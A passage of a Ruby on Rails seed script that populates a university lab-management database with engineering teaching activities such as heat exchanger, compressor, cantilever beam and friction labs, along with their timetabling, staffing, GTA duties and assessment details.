programme_id: $prog_amrc.id).first_or_create!\n\n\n a180 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"600\").first_or_create!(name: \"Weirs Big and Small\",\n name_abrv: \"WEIRS\", archived: false, in_drive: true, user_id: 2)\n at180 = ActivityTimetable.where(activity_id: a180.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 150, takedown_time: 150, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a180.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a180.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a180.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a180.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a180.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a181 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 2)\n at181 = ActivityTimetable.where(activity_id: a181.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a181.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3s5gczj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a181.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a181.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a181.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a181.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a182 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC209\").first.id, code: \"501\").first_or_create!(name: \"Make and Break\",\n name_abrv: \"MAKEBREAK\", archived: false, in_drive: false, user_id: 2)\n at182 = ActivityTimetable.where(activity_id: a182.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a182.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a182.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a182.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a182.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a182.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a183 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: true, user_id: 1)\n at183 = ActivityTimetable.where(activity_id: a183.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a183.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a183.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a183.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a183.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a183.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a184 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 5)\n at184 = ActivityTimetable.where(activity_id: a184.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a184.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a184.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a184.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a184.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a184.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a185 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 1)\n at185 = ActivityTimetable.where(activity_id: a185.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a185.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a185.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a185.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a185.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a185.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a186 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"503\").first_or_create!(name: \"2nd law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: true, user_id: 1)\n at186 = ActivityTimetable.where(activity_id: a186.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a186.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a186.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a186.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a186.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a186.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a187 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6448\").first.id, code: \"504\").first_or_create!(name: \"Acoustics\",\n name_abrv: \"ACOUSTICS\", archived: true, in_drive: true, user_id: 2)\n at187 = ActivityTimetable.where(activity_id: a187.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a187.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a187.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a187.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a187.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a187.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a188 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"505\").first_or_create!(name: \"Boiling and Condensing\",\n name_abrv: \"BOILING\", archived: false, in_drive: true, user_id: 2)\n at188 = ActivityTimetable.where(activity_id: a188.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a188.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jbcxj2k\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a188.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration, training provided, no marking. Demonstrate labs on both boiling and condesing. Both are complex but the lab is mainly about observing the process taking place.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a188.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a188.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a188.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a190 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTBEAM\", archived: false, in_drive: true, user_id: 2)\n at190 = ActivityTimetable.where(activity_id: a190.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a190.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a190.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a190.id).first_or_create!(assess_weight: nil, notes: \"No assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a190.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a190.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a191 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 3)\n at191 = ActivityTimetable.where(activity_id: a191.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a191.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a191.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a191.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a191.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a191.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a192 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 5)\n at192 = ActivityTimetable.where(activity_id: a192.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a192.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a192.id).first_or_create!(criteria: \"GTAs should have an understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\n\n 2018-19: GTAs selected by dpt email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a192.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a192.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a192.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a193 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 4)\n at193 = ActivityTimetable.where(activity_id: a193.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a193.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a193.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a193.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a193.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a193.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a194 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode5\").first_or_create!(name: \"Compressors 1st Law\",\n name_abrv: \"COMP1STLAW\", archived: false, in_drive: true, user_id: 1)\n at194 = ActivityTimetable.where(activity_id: a194.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a194.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a194.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Determine the polytropic constant. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a194.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a194.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a194.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a195 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 4)\n at195 = ActivityTimetable.where(activity_id: a195.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a195.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a195.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a195.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a195.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a195.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a196 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 2)\n at196 = ActivityTimetable.where(activity_id: a196.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a196.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a196.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Determine the isentropic efficiency. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a196.id).first_or_create!(assess_weight: 5.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a196.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a196.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a197 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 5)\n at197 = ActivityTimetable.where(activity_id: a197.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a197.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a197.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a197.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a197.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a197.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a198 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: true, in_drive: true, user_id: 4)\n at198 = ActivityTimetable.where(activity_id: a198.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a198.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a198.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a198.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a198.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a198.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a199 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: false, in_drive: false, user_id: 3)\n at199 = ActivityTimetable.where(activity_id: a199.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a199.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a199.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a199.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a199.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a199.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a200 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 4)\n at200 = ActivityTimetable.where(activity_id: a200.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at200.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a200.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a200.id).first_or_create!(criteria: \"Expertise in heat transfer desirable.\",\n job_desc:\"Measuring convective heat transfer in an external flow using dimensionless numbers.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a200.id).first_or_create!(assess_weight: nil, notes: \"Not assessed 18/19\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a200.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a200.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a201 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 3)\n at201 = ActivityTimetable.where(activity_id: a201.id).first_or_create!(duration: nil, 